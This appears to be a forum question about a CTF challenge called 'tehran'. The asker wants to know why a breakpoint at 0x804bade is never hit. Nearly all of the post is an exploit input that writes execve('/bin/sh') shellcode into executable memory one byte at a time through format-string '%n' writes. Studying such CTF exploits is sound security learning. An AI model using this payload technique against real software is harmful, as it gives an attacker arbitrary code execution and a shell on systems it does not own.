I was following the writeup of the challenge tehran. If I set a breakpoint 0x804bade, it never gets hit for the following input.
begin() {
fillout(0x8048000, 16384, 7);
puts("%144c%n", 42, 0x804bade);
puts("%144c%n", 42, 0x804badf);
puts("%144c%n", 42, 0x804bae0);
puts("%144c%n", 42, 0x804bae1);
puts("%144c%n", 42, 0x804bae2);
puts("%104c%n", 42, 0x804bae3);
puts("%1c%n", 42, 0x804bae4);
puts("%1c%n", 42, 0x804bae5);
puts("%1c%n", 42, 0x804bae6);
puts("%1c%n", 42, 0x804bae7);
puts("%129c%n", 42, 0x804bae8);
puts("%52c%n", 42, 0x804bae9);
puts("%36c%n", 42, 0x804baea);
puts("%114c%n", 42, 0x804baeb);
puts("%105c%n", 42, 0x804baec);
puts("%1c%n", 42, 0x804baed);
puts("%1c%n", 42, 0x804baee);
puts("%49c%n", 42, 0x804baef);
puts("%210c%n", 42, 0x804baf0);
puts("%82c%n", 42, 0x804baf1);
puts("%106c%n", 42, 0x804baf2);
puts("%4c%n", 42, 0x804baf3);
puts("%90c%n", 42, 0x804baf4);
puts("%1c%n", 42, 0x804baf5);
puts("%226c%n", 42, 0x804baf6);
puts("%82c%n", 42, 0x804baf7);
puts("%137c%n", 42, 0x804baf8);
puts("%226c%n", 42, 0x804baf9);
puts("%106c%n", 42, 0x804bafa);
puts("%104c%n", 42, 0x804bafb);
puts("%104c%n", 42, 0x804bafc);
puts("%47c%n", 42, 0x804bafd);
puts("%47c%n", 42, 0x804bafe);
puts("%47c%n", 42, 0x804baff);
puts("%115c%n", 42, 0x804bb00);
puts("%104c%n", 42, 0x804bb01);
puts("%47c%n", 42, 0x804bb02);
puts("%98c%n", 42, 0x804bb03);
puts("%105c%n", 42, 0x804bb04);
puts("%110c%n", 42, 0x804bb05);
puts("%106c%n", 42, 0x804bb06);
puts("%11c%n", 42, 0x804bb07);
puts("%88c%n", 42, 0x804bb08);
puts("%137c%n", 42, 0x804bb09);
puts("%227c%n", 42, 0x804bb0a);
puts("%137c%n", 42, 0x804bb0b);
puts("%209c%n", 42, 0x804bb0c);
puts("%153c%n", 42, 0x804bb0d);
puts("%205c%n", 42, 0x804bb0e);
puts("%128c%n", 42, 0x804bb0f);
}
What can the reason be?
